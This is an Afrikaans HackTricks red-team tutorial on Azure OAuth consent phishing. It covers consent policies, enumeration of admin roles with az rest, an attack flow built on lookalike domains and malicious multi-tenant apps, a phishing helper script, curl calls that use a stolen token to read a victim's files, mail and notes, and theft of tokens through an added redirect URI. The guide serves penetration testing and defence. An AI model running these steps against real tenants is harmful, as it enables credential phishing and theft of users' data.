Az - OAuth Apps Phishing

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

OAuth App Phishing

Azure Toepassings is geconfigureer met die toestemmings wat hulle sal kan gebruik wanneer ’n gebruiker die toepassing goedkeur (soos om die gids te enumereer, toegang tot lêers te verkry, of ander aksies uit te voer). Let daarop dat die toepassing namens die gebruiker sal optree, so selfs al kan die app om administratiewe toestemmings vra, as die gebruiker wat dit goedkeur nie daardie toestemming het nie, sal die app nie administratiewe aksies kan uitvoer nie.

App goedkeurings toestemmings

Standaard kan enige gebruiker toestemming gee aan apps, alhoewel dit geconfigureer kan word sodat gebruikers slegs toestemming kan gee aan apps van geverifieerde uitgewers vir geselekteerde toestemmings of selfs die toestemming kan verwyder vir gebruikers om toestemming te gee aan toepassings.

As gebruikers nie toestemming kan gee nie, kan administrateurs soos GA, Application Administrator of Cloud Application Administrator die toepassings goedkeur wat gebruikers sal kan gebruik.

Boonop, as gebruikers slegs toestemming kan gee aan apps wat lae risiko toestemmings gebruik, is hierdie toestemmings standaard openid, profile, email, User.Read en offline_access, alhoewel dit moontlik is om meer aan hierdie lys toe te voeg.

En as hulle toestemming kan gee aan alle apps, kan hulle toestemming gee aan alle apps.

2 Tipes aanvalle

  • Ongemagtig: Van ’n eksterne rekening ’n toepassing met die lae risiko toestemmings User.Read en User.ReadBasic.All skep, phish ’n gebruiker, en jy sal toegang tot gidsinligting kan verkry.
  • Dit vereis dat die gephishde gebruiker in staat is om OAuth-apps van eksterne huurders te aanvaar
  • As die gephishde gebruiker ’n admin is wat enige app met enige toestemmings kan goedkeur, kan die toepassing ook privilegeerde toestemmings aanvra
  • Gemagtig: Nadat ’n prinsiep met genoeg voorregte gecompromitteer is, skep ’n toepassing binne die rekening en phish ’n paar privilegeerde gebruikers wat privilegeerde OAuth-toestemmings kan aanvaar.
  • In hierdie geval kan jy reeds toegang tot die inligting van die gids verkry, so die toestemming User.ReadBasic.All is nie meer interessant nie.
  • Jy is waarskynlik geïnteresseerd in toestemmings wat ’n admin moet toeken, omdat ’n gewone gebruiker nie enige toestemming aan OAuth-apps kan gee nie, daarom moet jy slegs daardie gebruikers phish (meer oor watter rolle/toestemmings hierdie voorregte toeken later).

Gebruikers mag toestemming gee

Let daarop dat jy hierdie opdrag vanaf ’n gebruiker binne die huurder moet uitvoer, jy kan nie hierdie konfigurasie van ’n eksterne huurder vind nie. Die volgende cli kan jou help om die gebruikers se toestemmings te verstaan:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
  • Gebruikers kan toestemming gee vir alle toepassings: As jy binne permissionGrantPoliciesAssigned kan vind: ManagePermissionGrantsForSelf.microsoft-user-default-legacy dan kan gebruikers elke toepassing aanvaar.
  • Gebruikers kan toestemming gee vir toepassings van geverifieerde uitgewers of jou organisasie, maar net vir die toestemmings wat jy kies: As jy binne permissionGrantPoliciesAssigned kan vind: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team dan kan gebruikers elke toepassing aanvaar.
  • Deaktiveer gebruikers toestemming: As jy binne permissionGrantPoliciesAssigned kan net vind: ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat en ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team dan kan gebruikers nie enige toestemming gee nie.

Dit is moontlik om die betekenis van elke van die kommentaarbeleide te vind in:

az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"

Toepassing Administrateurs

Kontroleer gebruikers wat as toepassing administrateurs beskou word (kan nuwe toepassings aanvaar):

# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"

# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"

# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"

# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

Aanvalstroom Oorsig

Die aanval behels verskeie stappe wat ’n generiese maatskappy teiken. Hier is hoe dit mag ontvou:

  1. Domeinregistrasie en Toepassing Hosting: Die aanvaller registreer ’n domein wat op ’n betroubare webwerf lyk, byvoorbeeld, “safedomainlogin.com”. Onder hierdie domein word ’n subdomein geskep (bv. “companyname.safedomainlogin.com”) om ’n toepassing te huisves wat ontwerp is om magtigingskode te vang en toegangstokens aan te vra.
  2. Toepassing Registrasie in Azure AD: Die aanvaller registreer dan ’n Multi-Tenant Toepassing in hul Azure AD Tenant, en noem dit na die teikenmaatskappy om wettig te lyk. Hulle stel die toepassing se Redirect URL in om na die subdomein te wys wat die kwaadwillige toepassing huisves.
  3. Instelling van Toestemmings: Die aanvaller stel die toepassing op met verskeie API-toestemmings (bv. Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Hierdie toestemmings, sodra dit deur die gebruiker toegestaan is, laat die aanvaller toe om sensitiewe inligting namens die gebruiker te onttrek.
  4. Verspreiding van Kwaadwillige Skakels: Die aanvaller stel ’n skakel saam wat die kliënt id van die kwaadwillige toepassing bevat en deel dit met teikengebruikers, wat hulle mislei om toestemming te gee.

Voorbeeld Aanval

  1. Registreer ’n nuwe toepassing. Dit kan slegs vir die huidige gids wees as jy ’n gebruiker van die aangevalde gids gebruik of vir enige gids as dit ’n eksterne aanval is (soos in die volgende beeld).
  2. Stel ook die omleidings-URI in op die verwagte URL waar jy die kode wil ontvang om die tokens te kry (http://localhost:8000/callback per standaard).
  1. Skep dan ’n toepassing geheim:
  1. Kies API-toestemmings (bv. Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read)
  1. Voer die webblad uit (azure_oauth_phishing_example) wat om die toestemmings vra:
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
  1. Stuur die URL na die slagoffer
  2. In hierdie geval http://localhost:8000
  3. Slagoffers moet die prompt aanvaar:
  1. Gebruik die toegangsteken om toegang te verkry tot die versoekte toestemmings:
export ACCESS_TOKEN=<ACCESS_TOKEN>

# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"

Ander Gereedskap

Post-Exploitasie

Phishing Post-Exploitasie

Afhangende van die aangevraagde toestemmings mag jy in staat wees om verskillende data van die huurder te bekom (lys gebruikers, groepe… of selfs instellings te wysig) en inligting van die gebruiker (lêers, notas, e-posse…). Dan kan jy hierdie toestemmings gebruik om daardie aksies uit te voer.

Entra ID Toepassings Admin

As jy daarin geslaag het om op een of ander manier ’n Entra ID-prinsip te kompromitteer wat Toepassings in Entra ID kan bestuur, en daar is toepassings wat deur gebruikers van die huurder gebruik word. ’n Admin sal in staat wees om die toestemmings wat die app versoek te wysig en ’n nuwe toegelate omleidingsadres by te voeg om die tokens te steel.

  • Let daarop dat dit moontlik is om omleidings-URI’s by te voeg (geen behoefte om die werklike een te verwyder nie) en dan ’n HTTP-skakel te stuur met die aanvaller se omleidings-URI sodat wanneer die gebruiker die skakel volg, die outentisering outomaties plaasvind en die aanvaller die token ontvang.
  • Dit is ook moontlik om die toestemmings wat die app vra te verander om meer toestemming van die gebruikers te verkry, maar in daardie geval sal die gebruiker weer die prompt moet aanvaar (selfs al was hy reeds ingelog).
  • Om hierdie aanval uit te voer, HEEFT die aanvaller NIE beheer oor die toepassingskode nodig nie, aangesien hy eenvoudig die skakel kan stuur om in die app in te log met die nuwe URL in die redirect_uri parameter.

Toepassing Post Exploitasie

Kyk na die Toepassings en Diens Prinsipaal afdelings van die bladsy:

Az - EntraID Privesc

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks